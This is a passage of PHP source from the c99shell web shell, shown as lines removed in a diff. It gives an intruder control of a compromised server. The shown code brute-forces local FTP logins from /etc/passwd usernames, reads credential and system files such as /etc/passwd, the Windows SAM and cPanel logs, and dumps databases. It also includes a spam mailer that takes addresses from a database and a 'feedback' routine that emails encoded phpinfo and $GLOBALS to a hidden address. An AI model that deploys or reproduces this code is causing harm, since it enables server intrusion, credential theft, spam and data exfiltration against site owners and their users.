";
-if ($act == "") {$act = $dspact = "ls";}
-if ($act == "sql")
-{
- $sql_surl = $surl."act=sql";
- if ($sql_login){$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
- if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
- if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
- if ($sql_port){$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
- if ($sql_db){$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
- $sql_surl .= "&";
- ?>Attention! SQL-Manager is NOT ready module! Don't reports bugs. SQL Manager: ";
- if (!$sql_sock)
- {
-if (!$sql_server) {echo "NO CONNECTION";}
-else {echo "Can't connect "; echo "".$err." ";}
- }
- else
- {
-$sqlquicklaunch = array();
-$sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
-$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
-$sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
-$sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
-$sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
-$sqlquicklaunch[] = array("Logout",$surl."act=sql");
-echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
-if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
-echo " ";
- }
- echo " ";
- if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: Username Password Database
">Home ".htmlspecialchars($sql_db)." ]--- ";
- $c = 0;
- while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
- if (!$c) {echo "No tables found in database.";}
-}
-}
-else
-{
-?>Home ";
-//Start center panel
-$diplay = TRUE;
-if ($sql_db)
-{
-if (!is_numeric($c)) {$c = 0;}
-if ($c == 0) {$c = "no";}
-echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
-if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
-echo " ";
-$acts = array("","dump");
-if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
-elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
-elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
-elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
-elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
-elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
-elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
-elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
-elseif ($sql_tbl_act == "insert")
-{
- if ($sql_tbl_insert_radio == 1)
- {
-$keys = "";
-$akeys = array_keys($sql_tbl_insert);
-foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
-if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
-$values = "";
-$i = 0;
-foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
-if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
-$sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
-$sql_act = "query";
-$sql_tbl_act = "browse";
- }
- elseif ($sql_tbl_insert_radio == 2)
- {
-$set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
-$sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
-$result = mysql_query($sql_query) or print(mysql_smarterror());
-$result = mysql_fetch_array($result, MYSQL_ASSOC);
-$sql_act = "query";
-$sql_tbl_act = "browse";
- }
-}
-if ($sql_act == "query")
-{
- echo " ";
- if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
- if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
- if ((!$submit) or ($sql_act)) {echo "";}
-}
-if (in_array($sql_act,$acts))
-{
- ?>";}
- if ($sql_act == "newtbl")
- {
-echo "";
-if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
- }
- else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
-}
-elseif ($sql_act == "dump")
-{
- if (empty($submit))
- {
-$diplay = FALSE;
-echo "SQL-Dump: ";
-echo "DB: ";
-$v = join (";",$dmptbls);
-echo "Only tables (explode \";\") 1 : ";
-if ($dump_file) {$tmp = $dump_file;}
-else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
-echo "File: ";
-echo "Download: ";
-echo "Save to file: ";
-echo "1 - all, if empty";
-echo " ";
- }
- else
- {
-$diplay = TRUE;
-$set = array();
-$set["sock"] = $sql_sock;
-$set["db"] = $sql_db;
-$dump_out = "download";
-$set["print"] = 0;
-$set["nl2br"] = 0;
-$set[""] = 0;
-$set["file"] = $dump_file;
-$set["add_drop"] = TRUE;
-$set["onlytabs"] = array();
-if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
-$ret = mysql_dump($set);
-if ($sql_dump_download)
-{
-@ob_clean();
-header("Content-type: application/octet-stream");
-header("Content-length: ".strlen($ret));
-header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
-echo $ret;
-exit;
-}
-elseif ($sql_dump_savetofile)
-{
-$fp = fopen($sql_dump_file,"w");
-if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
-else
-{
- fwrite($fp,$ret);
- fclose($fp);
- echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
-}
-}
-else {echo "Dump: nothing to do! ";}
- }
-}
-if ($diplay)
-{
- if (!empty($sql_tbl))
- {
-if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
-$count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
-$count_row = mysql_fetch_array($count);
-mysql_free_result($count);
-$tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
-$tbl_struct_fields = array();
-while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
-if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
-if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
-if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
-if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
-$perpage = $sql_tbl_le - $sql_tbl_ls;
-if (!is_numeric($perpage)) {$perpage = 10;}
-$numpages = $count_row[0]/$perpage;
-$e = explode(" ",$sql_order);
-if (count($e) == 2)
-{
-if ($e[0] == "d") {$asc_desc = "DESC";}
-else {$asc_desc = "ASC";}
-$v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
-}
-else {$v = "";}
-$query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
-$result = mysql_query($query) or print(mysql_smarterror());
-echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
-echo "[ Structure ] ";
-echo "[ Browse ] ";
-echo "[ Dump ] ";
-echo "[ Insert ] ";
-if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
-if ($sql_tbl_act == "insert")
-{
-if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
-if (!empty($sql_tbl_insert_radio))
-{
-
-}
-else
-{
- echo "Inserting row into table: ";
- if (!empty($sql_tbl_insert_q))
- {
-$sql_query = "SELECT * FROM `".$sql_tbl."`";
-$sql_query .= " WHERE".$sql_tbl_insert_q;
-$sql_query .= " LIMIT 1;";
-$result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
-$values = mysql_fetch_assoc($result);
-mysql_free_result($result);
- }
- else {$values = array();}
- echo " ";
- echo "Insert as new row ";
- if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
- echo " ";
-}
-}
-if ($sql_tbl_act == "browse")
-{
-$sql_tbl_ls = abs($sql_tbl_ls);
-$sql_tbl_le = abs($sql_tbl_le);
-echo " ";
-echo " ";
-$b = 0;
-for($i=0;$i<$numpages;$i++)
-{
- if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
- echo $i;
- if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
- if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
- else {echo " ";}
-}
-if ($i == 0) {echo "empty";}
-echo "From: To: ";
-echo "";
-echo "With selected: ";
-echo "Delete ";
-echo "
";
-}
- }
- else
- {
-$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
-if (!$result) {echo mysql_smarterror();}
-else
-{
-echo "";
-echo "With selected: ";
-echo "Drop ";
-echo "Empty ";
-echo "Dump ";
-echo "Check table ";
-echo "Optimize table ";
-echo "Repair table ";
-echo "Analyze table ";
-echo "
";
-mysql_free_result($result);
-}
- }
-}
-}
-}
-else
-{
-$acts = array("","newdb","serverstatus","servervars","processes","getfile");
-if (in_array($sql_act,$acts)) {?>";
- if ($sql_act == "newdb")
- {
-echo "";
-if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
-else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
- }
- if ($sql_act == "serverstatus")
- {
-$result = mysql_query("SHOW STATUS", $sql_sock);
-echo "Server-status variables: ";
-echo "Name Value ";
-while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
-echo "
";
-mysql_free_result($result);
- }
- if ($sql_act == "servervars")
- {
-$result = mysql_query("SHOW VARIABLES", $sql_sock);
-echo "Server variables: ";
-echo "Name Value ";
-while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
-echo "
";
-mysql_free_result($result);
- }
- if ($sql_act == "processes")
- {
-if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
-$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
-echo "Processes: ";
-echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
-while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
-echo "
";
-mysql_free_result($result);
- }
- if ($sql_act == "getfile")
- {
-$tmpdb = $sql_login."_tmpdb";
-$select = mysql_select_db($tmpdb);
-if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
-if ($select)
-{
-$created = FALSE;
-mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
-mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
-$result = mysql_query("SELECT * FROM tmp_file;");
-if (!$result) {echo "Error in reading file (permision denied)! ";}
-else
-{
- for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
- else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
- mysql_free_result($result);
- mysql_query("DROP TABLE tmp_file;");
-}
-}
-mysql_drop_db($tmpdb); //comment it if you want to leave database
- }
-}
-}
- }
- echo "
";
- if ($sql_sock)
- {
-$affected = @mysql_affected_rows($sql_sock);
-if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
-echo " Affected rows: ".$affected." ";
- }
- echo "
";
-}
-if ($act == "mkdir")
-{
- if ($mkdir != $d)
- {
-if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
-elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
-echo " ";
- }
- $act = $dspact = "ls";
-}
-if ($act == "ftpquickbrute")
-{
- echo "Ftp Quick brute: ";
- if (!win) {echo "This functions not work in Windows! ";}
- else
- {
-function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
-{
-if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
-else {$TRUE = TRUE;}
-if ($TRUE)
-{
- $sock = @ftp_connect($host,$port,$timeout);
- if (@ftp_login($sock,$login,$pass))
- {
-echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
-ob_flush();
-return TRUE;
- }
-}
-}
-if (!empty($submit))
-{
-if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
-$fp = fopen("/etc/passwd","r");
-if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
-else
-{
- if ($fqb_logging)
- {
-if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
-else {$fqb_logfp = FALSE;}
-$fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
-if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
- }
- ob_flush();
- $i = $success = 0;
- $ftpquick_st = getmicrotime();
- while(!feof($fp))
- {
-$str = explode(":",fgets($fp,2048));
-if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
-{
-echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
-$fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
-if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
-$success++;
-ob_flush();
-}
-if ($i > $fqb_lenght) {break;}
-$i++;
- }
- if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
- $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
- echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
- $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
- if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
- if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
- fclose($fqb_logfp);
-}
-}
-else
-{
-$logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
-$logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
-echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
-}
- }
-}
-if ($act == "d")
-{
- if (!is_dir($d)) {echo "Permision denied! ";}
- else
- {
-echo "Directory information: ";
-if (!$win)
-{
-echo "Owner/Group ";
-$ow = posix_getpwuid(fileowner($d));
-$gr = posix_getgrgid(filegroup($d));
-$row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
-}
-echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
- }
-}
-if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
-if ($act == "security")
-{
- echo "Server security information: Open base dir: ".$hopenbasedir." ";
- if (!$win)
- {
-if ($nixpasswd)
-{
-if ($nixpasswd == 1) {$nixpasswd = 0;}
-echo "*nix /etc/passwd: ";
-if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
-if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
-echo "From: To: ";
-$i = $nixpwd_s;
-while ($i < $nixpwd_e)
-{
- $uid = posix_getpwuid($i);
- if ($uid)
- {
-$uid["dir"] = "".$uid["dir"]." ";
-echo join(":",$uid)." ";
- }
- $i++;
-}
-}
-else {echo "Get /etc/passwd ";}
- }
- else
- {
-$v = $_SERVER["WINDIR"]."\repair\sam";
-if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
-else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
- }
- if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
- if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
- if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
- if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
- if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
- if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
- if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
- function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
- displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
- displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
- displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
- displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
- displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
- displaysecinfo("RAM",myshellexec("free -m"));
- displaysecinfo("HDD space",myshellexec("df -h"));
- displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
- displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
- displaysecinfo("Is cURL installed?",myshellexec("which curl"));
- displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
- displaysecinfo("Is links installed?",myshellexec("which links"));
- displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
- displaysecinfo("Is GET installed?",myshellexec("which GET"));
- displaysecinfo("Is perl installed?",myshellexec("which perl"));
- displaysecinfo("Where is apache",myshellexec("whereis apache"));
- displaysecinfo("Where is perl?",myshellexec("whereis perl"));
- displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
- displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
- displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
- displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
-}
-if ($act == "mkfile")
-{
- if ($mkfile != $d)
- {
-if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
-elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
-else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
- }
- else {$act = $dspact = "ls";}
-}
-if ($act == "encoder")
-{
- echo "Encoder: Input: ".@htmlspecialchars($encoder_input)." Hashes :";
- foreach(array("md5","crypt","crc32") as $v)
- {
-echo $v." - ";
- }
- echo " Url: urlencode -
- urldecode -
- Base64: base64_encode - ";
- echo "base64_decode - ";
- if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";}
- else
- {
-$debase64 = base64_decode($encoder_input);
-$debase64 = str_replace("\0","[0]",$debase64);
-$a = explode("\r\n",$debase64);
-$rows = count($a);
-$debase64 = htmlspecialchars($debase64);
-if ($rows == 1) {echo " ";}
-else {$rows++; echo "".$debase64." ";}
-echo " ^ ";
- }
- echo " Base convertations :dec2hex - ";
-}
-if ($act == "fsbuff")
-{
- $arr_copy = $sess_data["copy"];
- $arr_cut = $sess_data["cut"];
- $arr = array_merge($arr_copy,$arr_cut);
- if (count($arr) == 0) {echo "Buffer is empty! ";}
- else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
-}
-if ($act == "selfremove")
-{
- if (($submit == $rndcode) and ($submit != ""))
- {
-if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; c99shexit(); }
-else {echo "Can't delete ".__FILE__."! ";}
- }
- else
- {
-if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
-$rnd = rand(0,9).rand(0,9).rand(0,9);
-echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
- }
-}
-if ($act == "mailer") {
-
-
-
-
-If ($action=="mysql"){
-
-$sqlhost = $_POST['sqhost'];
-$sqllogin = $_POST['sqlog'];
-$sqlpass = $_POST['sqpass'];
-$sqldb = $_POST['sqdb'];
-$sqlquery =$_POST['sqq'];
-
-
-
- if (!$sqlhost || !$sqllogin || !$sqldb || !$sqlquery){
-
- print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
-
- exit;
-
- }
-
- $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
-
- mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
-
- $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
-
- $numrows = mysql_num_rows($result);
-
-
-
- for($x=0; $x<$numrows; $x++){
-
- $result_row = mysql_fetch_row($result);
-
- $oneemail = $result_row[0];
-
- $emaillist .= $oneemail."\n";
-
- }
-
- }
-
-
-
-if ($action=="send"){
-
- $message = urlencode($message);
-
- $message = ereg_replace("%5C%22", "%22", $message);
-
- $message = urldecode($message);
- $message = stripslashes($message);
- $subject = stripslashes($subject);
-
-}
-
-
-
-?> Php Mailer Mod With capacity Of Grabbing Mails From db By Psych0
-
-
-
-
-
-
-
-
-
-
-
-
-if ($action=="send"){
-
-
-
- if (!$from && !$subject && !$message && !$emaillist){
-
- print "Please complete all fields before sending your message.";
-
- exit;
-
- }
-
-
-
- $allemails = split("\n", $emaillist);
-
- $numemails = count($allemails);
-
-
-
- #Open the file attachment if any, and base64_encode it for email transport
-
- If ($file_name){
-
- @copy($file, "./$file_name") or die("The file you are trying to upload couldn't be copied to the server");
-
- $content = fread(fopen($file,"r"),filesize($file));
-
- $content = chunk_split(base64_encode($content));
-
- $uid = strtoupper(md5(uniqid(time())));
-
- $name = basename($file);
-
- }
-
-
-
- for($x=0; $x<$numemails; $x++){
- $to = $allemails[$x];
-
-
-
- if ($to){
-
- $to = ereg_replace(" ", "", $to);
-
- $message = ereg_replace("&email&", $to, $message);
-
- $subject = ereg_replace("&email&", $to, $subject);
-
- print "Sending mail to $to .......->oK ";
-
- flush();
-
- $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
-
- $header .= "MIME-Version: 1.0\r\n";
-
- If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
-
- If ($file_name) $header .= "--$uid\r\n";
-
- $header .= "Content-Type: text/$contenttype\r\n";
-
- $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
-
- $header .= "$message\r\n";
-
- If ($file_name) $header .= "--$uid\r\n";
-
- If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
-
- If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
-
- If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
-
- If ($file_name) $header .= "$content\r\n";
-
- If ($file_name) $header .= "--$uid--";
-
- mail($to, $subject, "", $header);
-
-echo " ";
-flush();
-
- }
-
- }
-
-
-
-}
-
-
-
-
-
-
-}
-
-
-if ($act == "feedback")
-{
- $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
- if (!empty($submit))
- {
-$ticket = substr(md5(microtime()+rand(1,1000)),0,6);
-$body = "c99shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR;
-if (!empty($fdbk_ref))
-{
-$tmp = @ob_get_contents();
-ob_clean();
-phpinfo();
-$phpinfo = base64_encode(ob_get_contents());
-ob_clean();
-echo $tmp;
-$body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n";
-}
-mail($suppmail,"c99shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail);
-echo "Thanks for your feedback! Your ticket ID: ".$ticket.". ";
- }
- else {echo " Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."): Your name: Your e-mail: Message:".htmlspecialchars($fdbk_body)." Attach server-info * There are no checking in the form. * - strongly recommended, if you report bug, because we need it for bug-fix. We understand languages: English, Russian. ";}
-}
-if ($act == "search")
-{
- echo "Search in file-system: ";
- if (empty($search_in)) {$search_in = $d;}
- if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
- if (empty($search_text_wwo)) {$search_text_regexp = 0;}
- if (!empty($submit))
- {
-$found = array();
-$found_d = 0;
-$found_f = 0;
-$search_i_f = 0;
-$search_i_d = 0;
-$a = array
-(
-"name"=>$search_name, "name_regexp"=>$search_name_regexp,
-"text"=>$search_text, "text_regexp"=>$search_text_regxp,
-"text_wwo"=>$search_text_wwo,
-"text_cs"=>$search_text_cs,
-"text_not"=>$search_text_not
-);
-$searchtime = getmicrotime();
-$in = array_unique(explode(";",$search_in));
-foreach($in as $v) {c99fsearch($v);}
-$searchtime = round(getmicrotime()-$searchtime,4);
-if (count($found) == 0) {echo "No files found! ";}
-else
-{
-$ls_arr = $found;
-$disp_fullpath = TRUE;
-$act = "ls";
-}
- }
- echo "
-
-Search for (file/folder name): - regexp
-Search in (explode \";\"):
-Text: ".htmlspecialchars($search_text)."
- - regexp
- - w hole words only
- - case sensitive
- - find files NOT containing the text
- ";
- if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
-}
-if ($act == "chmod")
-{
- $mode = fileperms($d.$f);
- if (!$mode) {echo "Change file-mode with error: can't get current value.";}
- else
- {
-$form = TRUE;
-if ($chmod_submit)
-{
-$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
-if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
-else {$err = "Can't chmod to ".$octet.".";}
-}
-if ($form)
-{
-$perms = parse_perms($mode);
